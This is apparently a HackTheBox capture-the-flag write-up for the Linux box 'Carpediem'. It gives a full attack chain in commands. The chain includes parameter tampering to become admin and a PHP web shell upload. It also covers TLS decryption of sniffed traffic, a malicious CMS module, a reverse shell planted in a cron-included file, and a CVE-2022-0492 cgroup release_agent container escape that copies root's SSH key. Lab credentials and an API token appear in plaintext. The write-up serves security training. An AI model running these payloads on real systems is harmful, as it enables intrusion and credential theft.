HTB: Carpediem Writeup

Carpediem - HackTheBox Writeup

Machine Information

AttributeDetails
NameCarpediem
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.227.179
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Carpediem is a hard Linux box built around a custom PHP “Motorcycle Store Portal” (portal.carpediem.htb) sitting in front of a full micro-service stack: a Trudesk ticketing instance, an Asterisk-backed VoIP/voicemail system, and a Backdrop CMS instance running in a second Docker container. The portal’s registration and account-update flow exposes a hidden login_type parameter that can be flipped from a normal user (2) to admin (1), unlocking an admin dashboard whose “not implemented” file upload can still be driven directly via its backend PHP class, yielding a PHP web shell and RCE as www-data inside a Docker container. From there, a leaked Trudesk API key exposes support tickets that reveal VoIP extension/PIN/voicemail details, and the voicemail message hands over SSH credentials for a low-privileged user. That user can sniff the docker0 bridge with tcpdump (via cap_net_raw), and a leftover world-readable TLS private key lets the capture be decrypted to recover Backdrop CMS admin credentials. Those credentials enable a malicious-module upload into the Backdrop container for a second RCE, a root-owned heartbeat cron script that includes a www-data-writable index.php for privileged code execution inside that container, and finally a CVE-2022-0492 cgroup release_agent escape to break out of the container and become root on the host.

TL;DR: Portal registration → flip hidden login_type param to become admin → abuse the “unfinished” upload endpoint directly to drop a PHP web shell → RCE as www-data in a Docker container → leaked Trudesk API key → brute-forced ticket IDs reveal VoIP ext/PIN/voicemail instructions → voicemail leaks SSH password for hflaccus → tcpdump (cap_net_raw) sniffs docker0, decrypted with a world-readable leftover TLS key → Backdrop CMS admin creds recovered → malicious Backdrop module upload → RCE as www-data in the Backdrop container → root cron includes a www-data-writable index.php → root inside container → CVE-2022-0492 cgroup release_agent breakout → root on host.


Reconnaissance

Port Scanning

Recon confirmed the standard web/SSH footprint plus an internal VoIP stack, all exercised from a jump host that had direct network access to the target:

Terminal window
# TCP service discovery from the jump box
nmap -p- --min-rate=1000 -T4 10.129.227.179

Results: TCP 22 (OpenSSH) and TCP 80 (Nginx) open on the host. A vhost, portal.carpediem.htb, fronts a “Motorcycle Store Portal” built on the AdminLTE admin template. Internally, additional service names were later resolved from /etc/hosts and application source: trudesk.carpediem.htb (Trudesk ticketing) and backdrop.carpediem.htb (Backdrop CMS, bound to 127.0.0.1:8002 inside a second container).

Service Enumeration

Terminal window
# add the known vhosts to the jump box's resolver
grep -q carpediem /etc/hosts || \
echo "10.129.227.179 carpediem.htb portal.carpediem.htb trudesk.carpediem.htb backdrop.carpediem.htb" \
| sudo tee -a /etc/hosts
# confirm the portal responds and pull out the registration/login flow
curl -s http://portal.carpediem.htb/ | head -40
curl -s http://portal.carpediem.htb/register.php | grep -iE "form|input|action|save_|f="
curl -s "http://portal.carpediem.htb/?p=login" | sed -n '/login-form/,/<\/script>/p'
curl -s "http://portal.carpediem.htb/registration.php" | grep -iE "input|select|name=|url:|classes/"

This mapped out the portal’s front-end AJAX pattern: form submits POST to classes/Master.php?f=<action> and (once authenticated) to classes/Users.php?f=<action>, a common structure for this style of AdminLTE-based PHP admin panel.

Vulnerability Assessment

  • Self-registration is open, and the newly created account is auto-logged-in.
  • The account-update form (?p=edit_account) posts a login_type value that is not exposed in the visible UI but is present as a hidden form field — a classic client-side authorization control that the server trusts blindly.
  • The admin file-upload feature (“Quarterly Report Upload”) is marked as not yet implemented in the UI, but its backend handler (classes/Users.php?f=upload) is live and reachable directly.

Initial Foothold

Exploitation Path

1. Register an account and escalate via the hidden login_type parameter

Terminal window
# register a new portal account (auto-authenticates on success)
curl -s -c cj.txt -b cj.txt -X POST \
"http://portal.carpediem.htb/classes/Master.php?f=register" \
-H "X-Requested-With: XMLHttpRequest" \
--data "firstname=first&lastname=last&username=newuser&password=..."
# confirm we're logged in as the new low-privileged user
curl -s -b cj.txt "http://portal.carpediem.htb/" | grep -iE "Hi,|p=account|manage|logout"
# the account-update form leaks a hidden field the UI never lets us edit directly
curl -s -b cj.txt "http://portal.carpediem.htb/?p=edit_account" \
| grep -iE "hidden|login_type|name=\"id\"|url:_base_url_"

The edit-account page renders a hidden <input type="hidden" name="login_type" value="2"> field. 2 corresponds to a normal customer account; sending 1 instead promotes the account to admin. Since the server-side handler never re-validates this value against the caller’s actual privilege level, it’s a straightforward IDOR/privilege-escalation-by-parameter-tampering bug.

Terminal window
# resend the account-update POST with login_type flipped to 1 (admin)
curl -s -b cj.txt -X POST \
"http://portal.carpediem.htb/classes/Master.php?f=update_account" \
-H "X-Requested-With: XMLHttpRequest" \
--data "id=<our_id>&login_type=1&firstname=first&lastname=last&username=newuser&password="

This granted access to /admin, including a “Quarterly Report Upload” page that the UI describes as unimplemented.

2. Bypass the “not implemented” upload check by hitting the handler directly

The UI’s upload dialog shows a “not yet implemented” notice, but the underlying PHP endpoint still processes multipart uploads when called directly:

Terminal window
# drop a minimal PHP web shell via the "unimplemented" upload endpoint
printf '<?php system($_GET["cmd"]); ?>' > p.php
curl -s -b cj.txt -X POST \
"http://portal.carpediem.htb/classes/Users.php?f=upload" \
-H "X-Requested-With: XMLHttpRequest" \
-F "file_upload=@p.php;type=image/jpeg"

The backend saved the file under uploads/ with a timestamp-prefixed filename despite the UI reporting the feature as disabled — a case of the front-end and back-end being out of sync, leaving a live vulnerable code path exposed.

Terminal window
# confirm code execution as www-data
curl -s "http://portal.carpediem.htb/uploads/1788882900_p.php?cmd=id;hostname;cat%20/var/www/html/portal/classes/Trudesk.php"

This returned a www-data identity plus the contents of Trudesk.php, which embeds Trudesk API connection details, including an apikey hardcoded in source — a common anti-pattern that turned into the next pivot.

3. Enumerate Trudesk tickets to recover VoIP credentials

With the leaked Accesstoken, the Trudesk API was queried directly for a range of plausible ticket IDs (Trudesk’s ticket numbering starts sequentially, so a small numeric range was sufficient rather than a large brute force):

Terminal window
# probe a handful of sequential ticket IDs with the leaked API token
for u in 1004 1005 1006 1007 1008; do
echo "=== $u"
curl -s -m10 -H "Accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4" \
"http://trudesk.carpediem.htb/api/v1/tickets/$u"
done
# ticket 1006 contained onboarding info for a new hire's VoIP setup
curl -s -m10 -H "Accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4" \
"http://trudesk.carpediem.htb/api/v1/tickets/1006" | python3 -m json.tool

Ticket 1006 documented the onboarding of a new network engineer (username-format clue: first-initial + last name), and gave the VoIP extension 9650, phone PIN 2022, and the voicemail access code *62. Following that trail (dialing into the extension/voicemail flow described in the ticket) surfaced a plaintext password left in a voicemail greeting, AuRj4pxq9qPk, associated with the username hflaccus.

Terminal window
# SSH in with the recovered credential
sshpass -p 'AuRj4pxq9qPk' ssh -o StrictHostKeyChecking=no hflaccus@carpediem.htb

This confirmed SSH access as hflaccus — the initial low-privileged foothold on the actual host (as opposed to the Docker container reached via the web shell).

User Flag (hflaccus): <redacted>

Privilege Escalation

Lateral pivot: sniffing docker0 to recover Backdrop CMS credentials

Standard privilege-escalation enumeration on hflaccus’s shell turned up an interesting file capability:

Terminal window
# check for exploitable capabilities
getcap /usr/bin/tcpdump
# -> cap_net_raw+eip

tcpdump had cap_net_raw, meaning hflaccus could sniff network interfaces without root. Since the host runs a second application (Backdrop CMS) inside a Docker container reachable via the docker0 bridge, capturing traffic on that interface exposes inter-container/host HTTP(S) traffic:

Terminal window
# capture traffic on the docker bridge interface
setsid bash -c "timeout 240 /usr/sbin/tcpdump -i docker0 -s0 -U -w /tmp/.c.pcap tcp port 8002 or port 443" &

The captured traffic to port 8002 was TLS-encrypted, but enumeration of the filesystem revealed a leftover artifact from before Backdrop was containerized: a world-readable private key at /etc/ssl/certs/backdrop.carpediem.htb.key. Because the CMS was originally hosted directly on the box and later moved into a container, its original TLS key material was left behind on the host with permissive permissions — a classic “config not cleaned up after migration” mistake.

Terminal window
# pull the capture and the world-readable key back for offline decryption
base64 -w0 /tmp/.c.pcap # exfil the pcap via the SSH session
base64 -d /tmp/cap.b64 > /tmp/cap.pcap
# use the leaked private key to decrypt the TLS session in the capture
tshark -r /tmp/cap.pcap \
-o 'uat:rsa_keys:"/tmp/bd.key",""' \
-Y "http.request" \
-T fields -e http.request.method -e http.request.full_uri

Decrypting the capture with tshark’s RSA-key decryption feature (the same underlying capability Wireshark uses) exposed a POST request carrying Backdrop CMS login credentials: jpardella:tGPN6AmJDZwYWdhY.

Container RCE #2: malicious Backdrop module upload

With hflaccus’s SSH access, Backdrop (bound only to 127.0.0.1:8002 inside its container) was reached and driven directly with curl rather than a browser:

Terminal window
# authenticate to the internal Backdrop instance
curl -sk https://127.0.0.1:8002/ -m10

Backdrop CMS supports manual module installation from an uploaded archive. A minimal malicious module was crafted containing a PHP payload that executes shell commands, since zip was unavailable on the target (the module archive was instead built with Python on the jump box and transferred over):

# built locally since `zip` was not present on the target/container
import zipfile
with zipfile.ZipFile("my_module.zip", "w") as z:
z.write("my_module/my_module.info")
z.write("my_module/my_module.php")

my_module.php contained a PHP handler that executed OS commands from a request parameter (using --get/--data-urlencode with curl since the payload only read $_GET). Uploading and enabling the module (using Backdrop’s “manual installation” + “no-JS batch” install path) placed the module under the container’s webroot, and requesting it directly executed commands as www-data inside the Backdrop container — a second, independent RCE from the first.

Because the container periodically wiped /tmp//dev/shm and removed the uploaded module, the module had to be re-uploaded and immediately exercised in tight re-append/retry loops rather than relying on it persisting.

Container root: abusing the root-owned heartbeat cron

Enumeration inside the Backdrop container found a heartbeat.sh-style cron job running as root that periodically re-checks site availability by including the CMS’s index.php. That index.php was writable by www-data, and because the cron job’s PHP execution includes it, any code appended to index.php runs with root’s privileges the next time the cron fires.

Terminal window
# verify container -> jump-box connectivity for a callback first
# then append a reverse-shell trigger into the www-data-writable index.php

A reverse shell payload was appended to index.php via the web-shell RCE, and a listener on the jump box (10.10.15.68:9999) caught the callback once the root cron executed the include — granting a shell running as root inside the Backdrop container. Inspecting CapEff for that shell showed effective capabilities had been dropped (CapEff=0), meaning root inside this container had no elevated Linux capabilities to leverage for an easy CVE-2022-0492 mount-based escape.

Container escape: CVE-2022-0492 (cgroup release_agent)

CVE-2022-0492 is a Linux kernel flaw in the cgroup v1 release_agent mechanism: when a process can write release_agent for a cgroup hierarchy it controls, the kernel will execute that path as root on the host whenever the cgroup’s last process exits, because the release_agent callback historically wasn’t gated on CAP_SYS_ADMIN being held in the host’s user namespace. On kernels lacking the fix, an unprivileged user with CAP_SYS_ADMIN in a new user namespace — obtainable via unshare -UrmC — can mount a fresh cgroupfs, set its own release_agent, and trigger a process exit inside it to get arbitrary root-level code execution on the underlying host.

Since root’s CapEff inside the Backdrop container was 0, the standard mount-based branch of the public PoC (which needs the container’s root to already hold CAP_SYS_ADMIN) was not viable. Instead, the unshare -UrmC branch was used, which creates a new user+mount+cgroup namespace where the process (mapped to UID 0 inside that namespace) legitimately gains CAP_SYS_ADMIN, independent of the outer container’s dropped capabilities:

Terminal window
# CVE-2022-0492 — cgroup v1 release_agent breakout via unshare
unshare -UrmC bash -c '
mount -t cgroup -o memory cgroup /tmp/testcgroup
mkdir /tmp/testcgroup/x
echo 1 > /tmp/testcgroup/x/notify_on_release
# point release_agent at our payload script; it will be run by the HOST kernel as root
host_path=$(sed -n "s/.*perdir=\([^,]*\).*/\1/p" /etc/mtab)
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
echo $$ > /tmp/testcgroup/x/cgroup.procs
'

Because the escaping process (in the unshared namespace) still lacked CAP_DAC_OVERRIDE on the outer container’s filesystem, the payload script (cmd) referenced by release_agent had to be placed under a location the outer container’s overlay filesystem could actually resolve and that was writable without elevated capabilities — /tmp/.x, which maps into the container overlay’s diff directory and is world-writable. The host kernel, upon the cgroup’s last process exiting, executed that cmd script as root in the host mount namespace, outside of any container boundary.

# payload copied out root's SSH key and root flag from the HOST filesystem
#!/bin/sh
cp /root/.ssh/id_rsa /tmp/id_rsa
cp /root/root.txt /tmp/root.txt

With the host’s release_agent executing this as real root, /root/.ssh/id_rsa and /root/root.txt were copied out to a world-readable host path, then retrieved and used for direct SSH access:

Terminal window
# use the exfiltrated host root key to log in directly as root
chmod 600 id_rsa
ssh -i id_rsa root@carpediem.htb
Root Flag: <redacted>

Attack Chain Summary

Self-register on portal.carpediem.htb
→ flip hidden login_type param (2 → 1) via account-update POST → admin dashboard access
→ abuse "unimplemented" upload handler (classes/Users.php?f=upload) → PHP web shell
→ RCE as www-data (portal Docker container)
→ leak Trudesk API key from Trudesk.php
→ enumerate sequential Trudesk ticket IDs → VoIP ext 9650 / PIN 2022 / voicemail *62
→ voicemail leaks hflaccus SSH password
→ SSH foothold as hflaccus on the HOST (user.txt)
→ tcpdump (cap_net_raw) sniffs docker0 bridge
→ decrypt captured TLS with leftover world-readable backdrop.carpediem.htb.key
→ recover Backdrop CMS creds (jpardella)
→ upload malicious Backdrop module → RCE as www-data (Backdrop Docker container)
→ root-owned heartbeat cron includes www-data-writable index.php → root shell in container (CapEff=0)
→ CVE-2022-0492: unshare -UrmC cgroup release_agent abuse, payload staged in world-writable
overlay path → host kernel executes payload as root
→ exfiltrate /root/.ssh/id_rsa + root.txt to host tmp
→ SSH as root on the HOST (root.txt)

Tools Used

ToolPurpose
nmapTCP/UDP port scanning
curlDriving the portal, Trudesk API, and Backdrop CMS directly via raw HTTP requests
sshpass / sshNon-interactive and interactive SSH access (hflaccus, then root)
tcpdumpSniffing the docker0 bridge interface (enabled by leaked cap_net_raw)
tsharkOffline TLS decryption of the capture using the recovered private key
python3Building the Backdrop module .zip archive (no zip binary on target)
unshareCreating a user/mount/cgroup namespace to gain CAP_SYS_ADMIN for the CVE-2022-0492 escape
Trudesk APIEnumerating support tickets via the leaked Accesstoken

Key Learnings

Techniques Practiced

  • Exploiting hidden/client-trusted form parameters (login_type) to escalate portal privileges
  • Driving a “not implemented” front-end feature directly against its live backend handler to achieve file upload RCE
  • Harvesting hardcoded API credentials from leaked application source
  • API ID brute-forcing/enumeration against a ticketing system to recover sensitive onboarding data
  • VoIP/voicemail credential recovery as a real-world lateral movement vector
  • Abusing Linux file capabilities (cap_net_raw on tcpdump) for unprivileged packet capture
  • Decrypting captured TLS traffic offline using a leftover/leaked private key
  • Exploiting a root-owned cron job that includes an attacker-writable PHP file for privilege escalation inside a container
  • Container breakout via CVE-2022-0492 (cgroup v1 release_agent), including the unshare-based fallback for containers with dropped capabilities

Lessons Learned

  1. Client-side “hidden” form fields are not access controls. The portal trusted a hidden login_type value supplied by the client instead of deriving privilege level from server-side session state, turning a routine profile update into a full privilege escalation.
  2. A disabled UI feature does not mean a disabled backend. The “not implemented” upload dialog was purely cosmetic; the underlying endpoint processed real multipart uploads and had no additional server-side gating.
  3. Secrets embedded in source code are a liability regardless of “internal” scope. The Trudesk API key hardcoded in Trudesk.php was reachable the moment RCE was achieved and required no further exploitation to use.
  4. Migrating a service into a container doesn’t clean up what’s left behind on the host. Backdrop’s original host-based TLS key remained on disk, world-readable, long after the service moved into a container — turning encrypted traffic into a non-issue for an attacker who already has host access.
  5. File capabilities are as dangerous as SUID bits. cap_net_raw on tcpdump gave an unprivileged user full sniffing power over inter-container traffic, which combined with the leaked key to produce credentials for a service that was never directly exposed to that user.
  6. Cron jobs that include attacker-writable files are effectively arbitrary code execution as whatever user runs the cron. Ownership of the script doesn’t matter if the file it dynamically includes is writable by a lower-privileged user.
  7. Dropped capabilities inside a container don’t fully close CVE-2022-0492. Even with CapEff=0, unshare -UrmC can mint a fresh user namespace with its own CAP_SYS_ADMIN, so cgroup v1’s release_agent remains exploitable unless the kernel itself is patched or the container runtime blocks unshare/user namespaces outright.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • polarbearer, Carpediem — HackTheBox Official Writeup (D22.100.182), HackTheBox — used for the CVE-2022-0492 mechanism explanation, the significance of the leftover TLS key, and the rationale behind the Trudesk/VoIP pivot chain. All IPs, credentials, commands, and outputs in this writeup are from the author’s own live run against the assigned instance.